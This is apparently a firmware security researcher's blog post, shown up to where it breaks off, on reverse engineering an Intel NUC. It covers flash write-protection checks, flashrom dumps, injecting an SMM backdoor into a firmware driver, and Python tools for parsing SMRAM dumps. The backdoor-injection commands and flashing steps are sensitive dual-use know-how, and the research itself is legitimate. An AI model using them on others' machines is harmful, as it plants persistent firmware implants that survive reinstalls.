Lots of interesting things happened since release of ThinkPwn exploit. Firstly I supposed that vulnerable code was written by Lenovo or its Independent BIOS Vendor (IBV), but later it turned out that they've taken this totally mad driver from Intel reference code. This exact code is not available in public, but open source firmware of some Intel boards has it too. For example, SmmRuntimeManagementCallback() function from Intel Quark BSP it's exactly the same vulnerable code that I've found in firmware of my T450s. It’s also interesting that vulnerable code is quite old (it comes from EFI 1.x era) but nevertheless, it was never present in EDK2 source from public repository — its version of QuarkSocPkg was heavily modified in comparison with vulnerable one. The horrible and vulnerable by design piece of code was removed by Intel somewhere in the middle of 2014, but it seems that there were no security advisories regarding this issue. Due to this IBVs had no chance to fix this vulnerability in their relatively old code base and the bug appeared in modern computers from Lenovo, Intel, GIGABYTE, Dell, HP, Fujitsu and other OEM’s (oops!).
Well, I guess at this point it’s much or less clear that currently there’s nothing to do with ThinkPad anymore, it was pwned with 0day, it has too awkward code base that follows ancient version of EFI specification and 8 series chipset that is not the freshest stuff you can get. As my next target for firmware security adventures I’ve decided to take some Skylake based machine of well-known vendor who might have a decent firmware that would be interesting to break. Because I like all kinds of small x86 compatible computers, I've put my eye on the latest generation of Intel NUC. It also looks interesting because platform vendor knows his hardware better than anyone else, so, from firmware security perspective, Intel NUC is definitely not the worst choice.
My new test machine: Intel NUC. |
So, shortly after ThinkPwn release, I bought NUC6i3SYH model of Intel NUC and started its reverse engineering. Later it turned out that its firmware was based on Aptio V code base from AMI (meh) is not so secure: I managed to find four different arbitrary SMM code execution 0day vulnerabilities in AMI and Intel SMM drivers, much cooler than ThinkPwn. However, there was at least one interesting security feature in this Intel NUC: it uses SMM_Code_Chk_En bit that works pretty much like SMEP, but for System Management Mode. I've mentioned this security feature in my previous articles, but never met its support in firmwares of real products before. This time SMM exploitation was more tricky, but I must admit that even with SMM_Code_Chk_En modern platform firmware is much more exploit friendly than, for example, modern operating system kernel or modern web browser.
Looking around and dumping SMRAM contents
I decided to pwn my Intel NUC in the same way like ThinkPad T450s — discover some SMM vulnerability to bypass BIOS_CNTL flash write protection and then, having arbitrary System Management Mode code execution, check if I can do something with SPI Protected Ranges (PRx) flash write protection. As for the Intel BootGuard — it is still a relatively rare feature among mass market devices, so, I considered that most likely my NUC simple doesn’t have it. All these things altogether might allow attacker to infect platform firmware with persistent rootkit that survives operating system reinstall — that’s exactly what we want to achieve.
But first things first! To check which flash write protection features are present on Intel NUC, I used CHIPSEC — platform security assessment framework from Intel that was already mentioned in my blog many times. Among others modules, CHIPSEC has module named common.bios_wp and it shows the information we need:
# python chipsec_main.py -m common.bios_wp [*] running module: chipsec.modules.common.bios_wp [*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/common/bios_wp.pyc [x][ ======================================================================= [x][ Module: BIOS Region Write Protection [x][ ======================================================================= [*] BC = 0x00000AAA << BIOS Control (b:d.f 00:31.5 + 0xDC) [00] BIOSWE = 0 << BIOS Write Enable [01] BLE = 1 << BIOS Lock Enable [02] SRC = 2 << SPI Read Configuration [04] TSS = 0 << Top Swap Status [05] SMM_BWP = 1 << SMM BIOS Write Protection [06] BBS = 0 << Boot BIOS Strap [07] BILD = 1 << BIOS Interface Lock Down [+] BIOS region write protection is enabled (writes restricted to SMM) [*] BIOS Region: Base = 0x00200000, Limit = 0x007FFFFF SPI Protected Ranges ------------------------------------------------------------ PRx (offset) | Value | Base | Limit | WP? | RP? ------------------------------------------------------------ PR0 (84) | 00000000 | 00000000 | 00000000 | 0 | 0 PR1 (88) | 00000000 | 00000000 | 00000000 | 0 | 0 PR2 (8C) | 00000000 | 00000000 | 00000000 | 0 | 0 PR3 (90) | 00000000 | 00000000 | 00000000 | 0 | 0 PR4 (94) | 00000000 | 00000000 | 00000000 | 0 | 0 [!] None of the SPI protected ranges write-protect BIOS region
Here I got some unpleasant surprise: as you can see, CHIPSEC reports that PR0-PR4 registers have zero values which means that Intel NUC doesn't use Protected Ranges flash write protection at all. It sounds amusing: my other (even more old) machines like ThinkPad T450s and Apple MacBook Pro 10,2 use PRx in addition to BIOS_CNTL and of course I've expected to have all possible security features on the latest generation Intel machine as well. On the other side — NUC firmware was written rather by AMI than Intel, same as the firmware of my Intel DQ77KB motherboard from previous articles that also doesn’t use SPI Protected Ranges. Definitely, this weird tradition looks like a birth injury of whole AMI Aptio platform including the most recent fifth version. What does it mean from the practical side? SPI Protected Ranges is very nice security mechanism, it allows to implement flash write protection that doesn’t rely on SMM code at all (in theory at least, in real life very often it’s not true, see PRx bypass part of my previous article). On platforms where PRx flash write protection is not available — attacker can use any arbitrary SMM code execution vulnerability (like ThinkPwn) to overwrite the whole platform firmware with malicious code in relatively easy way.
Thanks to this gift from Intel and AMI, we can say for sure that technically NUC is already broken, I bet there aren't any machines with AMI firmware on the market which don't have at least a single SMM vulnerability. So, everything what we need — do some reverse engineering and write some code to prove it, sounds easy.
The most common way of SMM exploitation is through vulnerabilities in System Management Interrupt (SMI) handlers. Usually SMM drives of modern UEFI compatible firmwares have dozens of such handlers. For more information about UEFI SMM drivers architecture and different kinds of SMI handlers please read "System Management Mode Core Interface" part of Platform Initialization Specification and my older article "Building reliable SMM backdoor for UEFI based platforms". The most interesting kind of SMI handlers suitable for ring0 to SMM exploitation is SW SMI, such handlers can be called from running operating system by writing the handler number into the APMC I/O port 0xB2. Because every SMI handler needs to be registered manually by its driver — there’s no static SMI handlers list stored somewhere inside flash image. To get such list we have two main options:
- Take hardware SPI programmer and infect platform firmware with my UEFI SMM backdoor which allows dumping System Management RAM (SMRAM) from running operating system. Then we can parse it’s internal structures to extract list of currently registered SMI handlers that we’re interested in. Significant drawback of this approach — it will likely not work on the platforms which have properly integrated Intel BootGuard. However, there are lots of machines with broken and incomplete BootGuard implementation that checks only PEI volume integrity and allows modifications of DXE volume, so, you can try your luck with SMM backdoor in any case.
- Extract all SMM drivers from your platform firmware and perform their reverse engineering to find existing calls to the RegisterHandler() function of EFI_SMM_SW_DISPATCH2_PROTOCOL used to register SW SMI handlers. Indeed, this approach is much more time consumable so I’m trying to avoid it because it's good to keep your weekend day research as cheap as possible.
One of my favorite microchips of all time is FT2232H from FTDI — its dual channel USB to serial converter that supports various protocols and configurations. It can work with UART, I2C, SPI and JTAG protocols, it also supports bit-bang mode and multi-protocol synchronous high speed engine (MPSSE) — its pretty much a real digital electronics swiss knife. There’s also a single channel version of this chip called FT232H, but as for me it’s more convenient to have dual channel one: for example, you can flash firmware to your target device over SPI and debug it via JTAG in the same time which is very convenient. Also, there are some motherboards which use more than one SPI flash chip to store platform firmware (my Intel DQ77KB motherboard uses two). To work with this neat chip you can buy official FT2232H Mini Module from FTDI or make your own board.
To use FT2232H Mini Module as SPI flash programmer you have to install flashrom tool and connect target flash chip to the board like shown in this table:
For physical connection between programmer and flash chip in SOIC8 package there are numerous convenient tools like microprobes or SOIC8 test clips. Also, some machines have WSON packaged flash chips which require some soldering. My Intel NUC uses Winbond W25Q64CV chip in SOIC8 package — the most popular flash chip on the market, it can be found in almost any randomly picked PC. Despite of its SOIC8 package that doesn’t really require soldering for programmer connection, I prefer to have a wires soldered to my flash chip with standard pin header on their other end. In practice it’s more convenient and solid than test clips or microprobes because you can put your motherboard with soldered wires back to the case and reconnect the programmer in several seconds. Also, I have to unbrick my test devices pretty often which is also more convenient to do with permanently soldered wires.
On the picture you can see Intel NUC with FT2232H Mini Module connected to its flash chip:
My setup for firmware reading and writing. |
After that we can read the firmware image using flashrom:
# flashrom -p ft2232_spi:type=2232H,port=A -r flash_image_nuc.bin
Now, when we have flashable image file with platform firmware, we can open it in UEFITool (another awesome utility that was mentioned in my articles many times) and extract some SMM driver PE image to infect it with UEFI SMM backdoor. I picked up some AMI driver called NvramSmi, but technically it doesn’t matter — you can use any SMM driver available in your firmware except, probably, SMM core itself.
NUC firmware loaded into UEFITool. |
On the picture above you can notice that UEFITool haven’t found any Firmware Interface Table (FIT) entries responsible for BootGuard configuration (there’s only some FIT entries with microcode updates) which confirms our early made hypothesis that Intel NUC has no BootGuard support at all. Now we can say for sure — any arbitrary SMM code execution vulnerability on this platform automatically means complete pwnage of entire platform firmware. Yeah, it’s a much smaller amount of fun than I expected.
UEFI SMM backdoor comes with multi-functional SmmBackdoor.py Python program, it allows to infect arbitrary SMM driver PE image with the backdoor code and communicate with this code when system was booted with infected firmware. To infect NvramSmi driver image that was extracted in previous step, use the following command where SmmBackdoor.efi is backdoor executable image compiled for proper architecture (usually it’s x86_64):
$ python SmmBackdoor.py -i NvramSmi.efi -p SmmBackdoor.efi -o NvramSmi_infected.efi [+] Target image to infect: NvramSmi.efi [+] Infector payload: SmmBackdoor.efi [+] Output file: NvramSmi_infected.efi Original entry point RVA is 0x00000840 Original .xdata virtual size is 0x00000038 Original image size is 0x00001260 Characteristics of .xdata section was changed to RWX New entry point RVA is 0x00002e44 New .xdata virtual size is 0x00005b80 New image size is 0x00006da0 [+] DONE
Now we can integrate infected driver back into the flash image using UEFITool. Please note, that currently there are two UEFITool branches: so called new engine and old engine. The new engine has much more nice source code with lots of cool new features, but only the old one currently supports flash image modification, so, to deploy UEFI SMM backdoor you have to use something like old UEFITool 0.2x rather than the new 0.3x.
Write infected firmware image back into the flash chip:
# flashrom -p ft2232_spi:type=2232H,port=A -w flash_image_nuc.bin
Now we can boot Intel NUC with modified firmware, while it boots you can see debug output of UEFI SMM backdoor on the screen which is very convenient for troubleshooting. Also, backdoor is trying to print the same debug output into the first COM port, but it seems that on Intel NUC there’s no such ports present (yeah, totally not cool, but on the other side it has LPC debug header that also might be interesting for debug purposes).
When operating system was booted (I’m using live USB stick with Gentoo Linux that has flashrom, CHIPSEC, UEFI SMM backdoor, my UEFI boot script table exploit with software DMA attack tools and other useful stuff for firmware security research) we finally can run several commands to communicate with installed backdoor. First one is used to check its presence and get some basic information about SMRAM layout. Second one is used to dump all SMRAM regions discovered on target platform into the files.
localhost ~ # python SmmBackdoor.py --test ****** Chipsec Linux Kernel module is licensed under GPL 2.0 [+] struct _BACKDOOR_INFO physical address is 0x8a1cc000 [+] BackdoorEntry() calls count is 1 [+] PeriodicTimerDispatch2Handler() calls count is 0 [+] Last status code is 0x00000000 [+] SMRAM map: address = 0x8b400000, size = 0x00001000, state = 0x1a address = 0x8b401000, size = 0x00001000, state = 0x1a address = 0x8b402000, size = 0x003fe000, state = 0x1a localhost ~ # python SmmBackdoor.py --dump-smram ****** Chipsec Linux Kernel module is licensed under GPL 2.0 [+] Dumping SMRAM regions, this may take a while... [+] Creating SMRAM_dump_8b400000_8b7fffff.bin [+] DONE
As you can see from the output, we have one SMRAM region (it’s obviously TSEG) with total size of 0x400000 bytes, now it's time to load it into the IDA Pro and check if we can make some tools to extract SMI handlers list and other useful information about SMM drivers execution environment.
System Management Mode memory forensics
It’s quite interesting fact that "System Management Mode Core Interface" specification and its practical implementations from EDK2 or AMI Aptio were designed with respect to physical memory forensics which is obviously useful for fault analysis during platform bring-up. The first important thing you should know about SMRAM dumps — they’re relatively friendly for analysis, almost every important structure has unique 4-byte signature which allows to locate and recognize the structure contents inside physical memory dump. For example, EFI_SMM_SYSTEM_TABLE structure location can be found with the checking for "SMST" signature:
# get offset of EFI_SMM_SYSTEM_TABLE structure inside SMRAM dump contents def get_smst_offset(data): ret = data.find('SMST\0\0\0\0') assert ret != -1 return ret
The second thing that makes your life much easier — lots of the structures which belong to the same type (like SMM protocols or SMI handlers structures) are joined into double-linked list using EFI_LIST_ENTRY field:
typedef struct _EFI_LIST_ENTRY { struct _EFI_LIST_ENTRY *ForwardLink; struct _EFI_LIST_ENTRY *BackLink; } EFI_LIST_ENTRY;
So, when you find one structure of some type, you can easily iterate over all the structures of the same type that currently presents in memory.
Third, for proper analysis of SMRAM dump you need to know actual physical address of the memory where it was located. Of course, you can store this meta-information inside separate file in addition to memory dump file, but there’s a better way — you can extract this address from the dump itself. This code works well on SMRAM dumps from all Intel compatible machines that I have at my home:
# get physical address of SMRAM location for given SMRAM dump contents def get_smram_addr(data): # extract and truncate SMRAM pointer at fixed offset return unpack('Q', self.data[0x10 : 0x18])[0] & 0xff400000
Intel ships open source reference implementation of UEFI compatible firmware called EDK2, but it's code contains mostly top level interfaces which are described in the specs. Obviously, UEFI specification has nothing to do with certain configuration features of exact hardware and it’s not even a thing that was designed specifically for IA-32 architecture or Intel chips. The part of platform firmware code (and I must admit it’s quite large part) that implements support of specific hardware is called Board Support Package (BSP) and unfortunately, BSP for "large" Intel products like chipsets (that can be found inside your laptop or desktop PC) is not available in public. Why does it matter for dumps analysis? The most interesting parts of SMM code like SMI management, SMRAM regions protection, etc. belong to the BSP, so, EDK2 code base can’t provide us complete information about internal SMM core structures.
Luckily, there’s a small Intel board called Galileo based on Intel Quark SoC which implements a much or less complete subset of i586 architecture including System Management Mode. At first glance this product looks strange (x86 based Arduino, hell yeah!), but if we throw away all of the marketing bullshit around it like compatibility with Arduino IDE and shields, IoT hype and other garbage — we will clearly see that Galileo was the first Intel attempt to create cheap and relatively open hardware platform for UEFI development enthusiasts. Galileo provides you JTAG (!!!) with OpenOCD configuration files prepared by the vendor, one PCI Express Mini Card slot, one 100 Mbit Ethernet port and some GPIO pins available over Arduino shields connector. Also, it comes with open source BSP which allows you to build EDK2 based Galileo firmware from the source code, it even has a pretty robust implementation of UEFI Secure Boot!
If we look into the source files of Quark BSP responsible for Quark North Cluster configuration we will figure that registered handler for any of its SMI sources like SW dispatch, Sx dispatch, periodic timer dispatch, etc. is represented by DATABASE_RECORD structure with "DBRC" signature:
#define DATABASE_RECORD_SIGNATURE SIGNATURE_32 ('D', 'B', 'R', 'C') struct _DATABASE_RECORD { UINT32 Signature; LIST_ENTRY Link; BOOLEAN Processed; // Status and Enable bit description QNC_SMM_SOURCE_DESC SrcDesc; // Callback function EFI_SMM_HANDLER_ENTRY_POINT2 Callback; QNC_SMM_CONTEXT ChildContext; VOID *CallbackContext; QNC_SMM_BUFFER CommBuffer; UINTN BufferSize; // Special handling hooks -- init them to NULL if unused/unneeded QNC_SMM_CLEAR_SOURCE ClearSource; // needed for SW SMI timer // Functions required to make callback code general CONTEXT_FUNCTIONS ContextFunctions; // The protocol which this record dispatches QNC_SMM_PROTOCOL_TYPE ProtocolType; };
Of course, on firmware from other vendor that was designed for other Intel chips DATABASE_RECORD structure will have a different format almost for sure. But at least, now we have a clue about what exactly we should look inside of SMRAM dump to identify registered SW SMI handlers.
Here you can see some "DBRC" signature occurrence that was found inside SMRAM dump from Intel NUC:
seg000:000000008B76C410 dq 'CRBD' ; database record header signature seg000:000000008B76C418 stru_8B76C418 EFI_LIST_ENTRY <stru_8b76c318, stru_8b76d440> seg000:000000008B76C428 dq 0 seg000:000000008B76C430 dq 0 seg000:000000008B76C438 dq 0 seg000:000000008B76C440 dq 30h seg000:000000008B76C448 dq 504h seg000:000000008B76C450 dq 0FFFFFFFFh seg000:000000008B76C458 dq 0 seg000:000000008B76C460 dq 0 seg000:000000008B76C468 dq 0 seg000:000000008B76C470 dq 34h seg000:000000008B76C478 dq 504h seg000:000000008B76C480 dq 0 seg000:000000008B76C488 dq 34h seg000:000000008B76C490 dq 504h seg000:000000008B76C498 dq offset sub_8B76AB1C ; handler address seg000:000000008B76C4A0 dq 56h ; SW SMI handler number
To confirm that it’s actually valid DATABASE_RECORD structure that describes really existing SMI handler of needed type you have to follow by its handler directly to SMM driver image where it is located, and check which exactly SMM protocol was used by this driver to register our handler function. If we see some call to EFI_SMM_SW_DISPATCH2_PROTOCOL.RegisterHandler() there — we’re fine to go next. At this point you also may notice, that DATABASE_RECORD structure has several quad words with 0x34 and 0x504 constant values which allow us to identify SW SMI handlers among SMI handlers of other types.
Now we can write a Python function that scans SMRAM dump contents for any valid DATABASE_RECORD structure, iterates over all registered SMI handlers using list entry field and prints information about SW SMI handlers which were found:
def dump_sw_smi_handlers(): first_entry, ptr = None, 0 parse = lambda offset: unpack('QQ104sQQQ', smram[offset : offset + 0x90]) # find any valid DATABASE_RECORD structure while ptr < SMRAM_SIZE - 0x100: # check for 'DBRC' signature if smram[ptr : ptr + 4] == 'DBRC': flink, blink, _, _, func, smi = parse(ptr + 8) # check for valid EFI_LIST_ENTRY and SW SMI handler if in_smram(flink) and in_smram(blink) and in_smram(func) and \ smi >= 0 and smi <= 255: first_entry = ptr break ptr += 8 if first_entry is None: # unable to find DATABASE_RECORD structure return -1 entry = first_entry # iterate double linked list while True: flink, blink, _, unk, func, smi = parse(entry + 8) # check for valid EFI_LIST_ENTRY if not in_smram(flink) or not in_smram(blink): # invalid DATABASE_RECORD structure return -1 # check for valid SW SMI handler DATABASE_RECORD if unk == 0x504 and in_smram(func) and smi >= 0 and smi <= 255: # print handler information print('0x%x: SMI = 0x%.2x, addr = 0x%x' % (from_offset(entry), smi, func)) # go to the next DATABASE_RECORD entry = to_offset(flink) - 8 if entry == first_entry: break
There are two interesting aspects of doing security research and reverse engineering as hobby. Firstly, you will likely not be paid for your wasted time. Secondly, there are too many interesting devices on the market which deserve your hands to be putten on and you have to be super productive to be able to do that. In such conditions it’s very important to automate as many relatively simple tasks, which need to be repeated for each target, as possible.
You've already seen some junk code for SMRAM dumps analysis in my previous articles, but this time I decided to create a more proper tool that would be able to take your dump as input and give you the most useful information for comfortable reverse engineering of SMM code. Currently this tool is able to extract the following:
- SMRAM and SMST address information
- Loaded SMM drivers list
- SMM protocols list
- SMI entry address for each CPU
- SW SMI handlers list
- Root SmiHandlerRegister() handlers list
- Child SmiHandlerRegister() handlers list
The tool can be downloaded from it's GitHub repository.
To identify GUIDs and names of SMM drivers which were found inside SMRAM dump, it optionally can use UEFIDump command line utility to extract information about available SMM drivers from flash image file and then match these drivers by PE header fields with drivers found in SMRAM. Also, it allows to resolve names of common UEFI GUIDs which might be found in public header files, to use this feature you have to install ida-efiutils and specify its folder path in EFIUTILS_PATH variable.
Usage of the tool from command line:
$ smram_parse.py <smram_dump> [flash_image_dump]
And its full output for SMRAM dump that was taken from my Intel NUC with firmware version SYSKLi35.86A.0045:
$ python smram_parse.py TSEG_nuc.bin flash_image_nuc.bin [+] Copying "flash_image_nuc.bin" to "fw_image_1475960233"... [+] Unpacking "fw_image_1475960233"... parseMeRegion: ME region is empty parseSections: non-UEFI data found in sections area parsePadFileBody: non-UEFI data found in pad-file findFitRecursive: real FIT table found at physical address FFA80100h ------------------------------------------------------------------- Address | Size | Ver | CS | Type ------------------------------------------------------------------- _FIT_ | 00000030h | 0100h | 00h | FIT Header 00000000FFA80280 | 00000000h | 0100h | 00h | Microcode 00000000FFA97A80 | 00000000h | 0100h | 00h | Microcode [+] SMRAM is at 0x8b400000:8bbfffff [+] EFI_SMM_SYSTEM_TABLE2 is at 0x8b7fa730 SMI ENTRIES: CPU 0: 0x8b7d5000 CPU 1: 0x8b7d5800 CPU 2: 0x8b7d6000 CPU 3: 0x8b7d6800 LOADED SMM DRIVERS: 0x8b6b3000: size = 0x00005f20, ep = 0x8b6b3b70, name = PchInitSmm 0x8b6ba000: size = 0x00002600, ep = 0x8b6ba5c0, name = PowerMgmtSmm 0x8b6bd000: size = 0x00015440, ep = 0x8b6bd300, name = BiosGuardServices 0x8b6d3000: size = 0x00001260, ep = 0x8b6d3840, name = NvramSmi 0x8b6d5000: size = 0x00002420, ep = 0x8b6d5850, name = RtcWakeup 0x8b6d8000: size = 0x00002960, ep = 0x8b6d8840, name = OemSmi 0x8b6dc000: size = 0x00006d60, ep = 0x8b6dd850, name = ItkSmmVars 0x8b6e3000: size = 0x00001880, ep = 0x8b6e3b80, name = CrbSmi 0x8b6e5000: size = 0x00018980, ep = 0x8b6e5f80, name = UsbRt 0x8b6fe000: size = 0x00001880, ep = 0x8b6fe340, name = TcgSmm 0x8b700000: size = 0x00002300, ep = 0x8b700870, name = SdioSmm 0x8b716000: size = 0x00008040, ep = 0x8b71a0e4, name = 0x8b718500: size = 0x00005b40, ep = 0x8b7187e0, name = 0x8b71f000: size = 0x00004860, ep = 0x8b71fa10, name = KbcEmul 0x8b724000: size = 0x00002640, ep = 0x8b7248c0, name = SmmHddSecurity 0x8b728000: size = 0x00003700, ep = 0x8b728d10, name = CmosSmm 0x8b72c000: size = 0x00001380, ep = 0x8b72c850, name = BootScriptHideSmm 0x8b72e000: size = 0x00006f80, ep = 0x8b72e430, name = SaLateInitSmm 0x8b735000: size = 0x00001840, ep = 0x8b735b50, name = PttWrapper 0x8b737000: size = 0x00004b00, ep = 0x8b737bd0, name = SmmPlatform 0x8b73c000: size = 0x000009c0, ep = 0x8b73c2a0, name = SmramSaveInfoHandlerSmm 0x8b73e000: size = 0x00001dc0, ep = 0x8b73eba0, name = AcpiModeEnable 0x8b740000: size = 0x00001100, ep = 0x8b740800, name = TcoSmi 0x8b742000: size = 0x00004800, ep = 0x8b742bb0, name = SleepSmi 0x8b747000: size = 0x000049a0, ep = 0x8b747bb0, name = PowerButton 0x8b74d000: size = 0x00003820, ep = 0x8b74dcc0, name = NbSmi 0x8b751000: size = 0x00000ba0, ep = 0x8b751360, name = PiSmmCommunicationSmm 0x8b76a000: size = 0x00001780, ep = 0x8b76aa40, name = CpuSpSMI 0x8b76d000: size = 0x00007d40, ep = 0x8b76f0c0, name = PchSmiDispatcher 0x8b775000: size = 0x00004b60, ep = 0x8b7761d0, name = FlashSmiSmm 0x8b77a000: size = 0x00001340, ep = 0x8b77a2c0, name = PchSpiSmm 0x8b77c000: size = 0x00002dc0, ep = 0x8b77cbe0, name = SbRunSmm 0x8b77f000: size = 0x00000ae0, ep = 0x8b77f290, name = SmmExceptionInfo 0x8b780000: size = 0x0000f2a0, ep = 0x8b782390, name = NVRAMSmm 0x8b790000: size = 0x00000fa0, ep = 0x8b7902d0, name = SmmLockBox 0x8b791000: size = 0x00001060, ep = 0x8b791810, name = RuntimeSmm 0x8b793000: size = 0x000033c0, ep = 0x8b7939f0, name = S3SaveSmm 0x8b7a5000: size = 0x0000e400, ep = 0x8b7a5d10, name = CryptoSMM 0x8b7b4000: size = 0x00002920, ep = 0x8b7b4800, name = AhciSmm 0x8b7b7000: size = 0x00001060, ep = 0x8b7b7270, name = PchSmbusSmm 0x8b7df000: size = 0x00006d20, ep = 0x8b7e0d90, name = PiSmmCpuDxeSmm 0x8b7e6000: size = 0x000009a0, ep = 0x8b7e62b0, name = CpuIo2Smm 0x8b7e8000: size = 0x00005780, ep = 0x8b7e8da0, name = FlashDriverSmm 0x8b7f0000: size = 0x00005300, ep = 0x8b7f1520, name = StatusCodeSmm 0x8b7fa000: size = 0x000055a0, ep = 0x8b7fa8d0, name = PiSmmCore [+] Found prte structure at offset 0x2db410 SMM PROTOCOLS: 0x8b7f6390: addr = 0x8b7f0ef0, image = StatusCodeSmm, guid = 441FFA18-8714-421E-8C95587080796FEE 0x8b7f6290: addr = 0x8b7f0ee0, image = StatusCodeSmm, guid = EFI_SMM_RSC_HANDLER_PROTOCOL 0x8b7f6190: addr = 0x8b7f0f00, image = StatusCodeSmm, guid = EFI_SMM_STATUS_CODE_PROTOCOL 0x8b7e7990: addr = 0x8b7e89e8, image = FlashDriverSmm, guid = FLASH_SMM_PROTOCOL 0x8b7e7890: addr = 0x8b7e6280, image = CpuIo2Smm, guid = EFI_SMM_CPU_IO2_PROTOCOL 0x8b7e7610: addr = 0x8b7e07a0, image = PiSmmCpuDxeSmm, guid = EFI_SMM_CPU_PROTOCOL 0x8b7e7510: addr = 0x8b7e07b0, image = PiSmmCpuDxeSmm, guid = SMM_CPU_SYNC_PROTOCOL 0x8b7e7410: addr = 0x8b7e07c8, image = PiSmmCpuDxeSmm, guid = SMM_CPU_SYNC2_PROTOCOL 0x8b7e7310: addr = 0x8b7df5a0, image = PiSmmCpuDxeSmm, guid = EFI_SMM_CPU_SERVICE_PROTOCOL 0x8b7e7210: addr = 0x8b76c6a0, image = CpuSpSMI, guid = EFI_SMM_READY_TO_LOCK_PROTOCOL 0x8b7e7090: addr = 0x8b7e7140, image = CpuIo2Smm, guid = AMI_SMBUS_SMM_PROTOCOL 0x8b797f90: addr = 0x8b7a5928, image = CryptoSMM, guid = AMI_SMM_DIGITAL_SIGNATURE_PROTOCOL 0x8b797e10: addr = 0x8b793980, image = S3SaveSmm, guid = EFI_S3_SMM_SAVE_STATE_PROTOCOL 0x8b797910: addr = 0x8b797820, image = S3SaveSmm, guid = PCH_SPI_PROTOCOL 0x8b797510: addr = 0x8b76d478, image = PchSmiDispatcher, guid = EFI_SMM_USB_DISPATCH2_PROTOCOL 0x8b797410: addr = 0x8b76d4b0, image = PchSmiDispatcher, guid = EFI_SMM_SX_DISPATCH2_PROTOCOL 0x8b797310: addr = 0x8b76d4e8, image = PchSmiDispatcher, guid = EFI_SMM_SW_DISPATCH2_PROTOCOL 0x8b797210: addr = 0x8b76d520, image = PchSmiDispatcher, guid = EFI_SMM_GPI_DISPATCH2_PROTOCOL 0x8b797110: addr = 0x8b76d558, image = PchSmiDispatcher, guid = EFI_SMM_POWER_BUTTON_DISPATCH2_PROTOCOL 0x8b797010: addr = 0x8b76d590, image = PchSmiDispatcher, guid = EFI_SMM_PERIODIC_TIMER_DISPATCH2_PROTOCOL 0x8b76cf10: addr = 0x8b76e340, image = PchSmiDispatcher, guid = PCH_TCO_SMI_DISPATCH_PROTOCOL 0x8b76cd90: addr = 0x8b76e390, image = PchSmiDispatcher, guid = PCH_PCIE_SMI_DISPATCH_PROTOCOL 0x8b76cc90: addr = 0x8b76e3b8, image = PchSmiDispatcher, guid = PCH_ACPI_SMI_DISPATCH_PROTOCOL 0x8b76cb90: addr = 0x8b76e3e8, image = PchSmiDispatcher, guid = PCH_GPIO_UNLOCK_SMI_DISPATCH_PROTOCOL 0x8b76ca90: addr = 0x8b76e400, image = PchSmiDispatcher, guid = E6A81BBF-873D-47FD-B6BE61B3E5720993 0x8b76c990: addr = 0x8b7745b0, image = PchSmiDispatcher, guid = EFI_SMM_IO_TRAP_DISPATCH2_PROTOCOL 0x8b76c890: addr = 0x8b774608, image = PchSmiDispatcher, guid = PCH_SMM_IO_TRAP_CONTROL_PROTOCOL 0x8b76c790: addr = 0x8b76e7b0, image = PchSmiDispatcher, guid = PCH_ESPI_SMI_DISPATCH_PROTOCOL 0x8b76c610: addr = 0x8b76e6a0, image = PchSmiDispatcher, guid = 6906E93B-603B-4A0F-8692832004AAF2DB 0x8b74c310: addr = 0x8b73eb58, image = AcpiModeEnable, guid = EFI_ACPI_EN_DISPATCH_PROTOCOL 0x8b74c110: addr = 0x8b73eb68, image = AcpiModeEnable, guid = EFI_ACPI_DIS_DISPATCH_PROTOCOL 0x8b73dc90: addr = 0x8b73df60, image = SmramSaveInfoHandlerSmm, guid = EFI_EC_ACCESS_PROTOCOL 0x8b73d690: addr = 0x8b736760, image = PttWrapper, guid = EFI_SMM_VARIABLE_PROTOCOL 0x8b727f90: addr = 0x8b73d010, image = SmramSaveInfoHandlerSmm, guid = EFI_SMM_CMOS_ACCESS 0x8b727690: addr = 0x8b723210, image = KbcEmul, guid = EFI_EMUL6064MSINPUT_PROTOCOL 0x8b727590: addr = 0x8b723280, image = KbcEmul, guid = EFI_EMUL6064KBDINPUT_PROTOCOL 0x8b727390: addr = 0x8b71f998, image = KbcEmul, guid = EFI_EMUL6064TRAP_PROTOCOL 0x8b715e10: addr = 0x8b718290, image = 0x8B716000, guid = B91547F5-4D24-4EEF-850774DDABEB71AD 0x8b715690: addr = 0x8b6fc408, image = UsbRt, guid = AMI_USB_SMM_PROTOCOL [+] Found smih structure of root SMI handler at offset 0x2db1d0 ROOT SMI HANDLERS: 0x8b6db1d0: addr = 0x8b6baae8, image = PowerMgmtSmm 0x8b797750: addr = 0x8b76fbdc, image = PchSmiDispatcher 0x8b76c550: addr = 0x8b74e040, image = NbSmi [+] Found smie structure at offset 0x2db590 SMI HANDLERS: 0x8b6db590: guid = 29C31B9F-D2B9-4900-BD2A584F2912E386 0x8b715150: addr = 0x8b6d391c, image = NvramSmi 0x8b7f9f10: guid = EFI_EVENT_GROUP_DXE_DISPATCH 0x8b7f9fd0: addr = 0x8b7fbbbc, image = PiSmmCore 0x8b7f9e90: guid = EFI_DXE_SMM_READY_TO_LOCK_PROTOCOL 0x8b7f9f90: addr = 0x8b7fa9f8, image = PiSmmCore 0x8b7f9d90: guid = EFI_END_OF_DXE_EVENT_GROUP 0x8b7f9e50: addr = 0x8b7fab8c, image = PiSmmCore 0x8b797b90: guid = EFI_SMM_LOCK_BOX_COMMUNICATION 0x8b797e90: addr = 0x8b790648, image = SmmLockBox 0x8b727c90: guid = EEDCF975-4DD3-4D94-96FFAACA8353B87B 0x8b73d590: addr = 0x8b7250a4, image = SmmHddSecurity 0x8b727b90: guid = C2B1E795-F9C5-4829-8A42C0B3FE571517 0x8b727c50: addr = 0x8b72544c, image = SmmHddSecurity 0x8b727b10: guid = 60B0760C-7D1B-43F3-95256077BE4137E2 0x8b727c10: addr = 0x8b72558c, image = SmmHddSecurity 0x8b727810: guid = 3FB7E17F-1172-4E2A-9A25BA5FE62CC7C8 0x8b7278d0: addr = 0x8b7255cc, image = SmmHddSecurity 0x8b727790: guid = B3F096E9-2D46-4E8E-A22C7DE8B16B3A5B 0x8b727890: addr = 0x8b725664, image = SmmHddSecurity 0x8b715e90: guid = EC2BD1FD-E3B0-429B-ADDF9657935A3684 0x8b727050: addr = 0x8b716b94, image = 0x8b716000 0x8b715c10: guid = 17D6D323-43CE-438A-BC9578A2DE9919D7 0x8b715d50: addr = 0x8b700a1c, image = SdioSmm [+] Found DBRC structure at offset 0x2b9010 SW SMI HANDLERS: 0x8b76c410: SMI = 0x56, addr = 0x8b76ab1c, image = CpuSpSMI 0x8b76c310: SMI = 0x57, addr = 0x8b76ac90, image = CpuSpSMI 0x8b76c110: SMI = 0x01, addr = 0x8b75153c, image = PiSmmCommunicationSmm 0x8b76c010: SMI = 